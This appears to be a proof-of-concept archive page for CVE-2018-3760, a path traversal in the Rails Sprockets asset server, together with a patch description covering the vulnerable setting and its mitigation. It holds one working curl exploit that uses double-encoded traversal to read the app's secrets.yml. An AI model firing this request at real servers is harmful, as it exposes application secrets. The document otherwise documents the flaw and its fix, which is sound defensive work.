**Note**: By default, Rails apps running in production mode are not vulnerable to this exploit.

Exploit:

```
curl -v http://127.0.0.1:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/config/secrets.yml%3ftype=text/yaml

Subject: [PATCH] Do not respond to http requests asking for a `file://`

Based on CVE-2018-3760 when the Sprockets server is accidentally being used in production, an attacker can pass in a specifically crafted url that will allow them access to view every file on the system. If the file hit contains a compilable extension such as `.erb` then the code in that file will be executed.

A Rails app will be using the Sprockets file server in production if they have accidentally configured their app to:

config.assets.compile = true # Your app is vulnerable

It is highly recommended to not use the Sprockets server in production and to instead precompile assets to disk and serve them through a server such as Nginx or via the static file middleware that ships with rails `config.public_file_server.enabled = true`.

This patch mitigates the issue, but explicitly disallowing any requests to uri resources via the server.

    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →
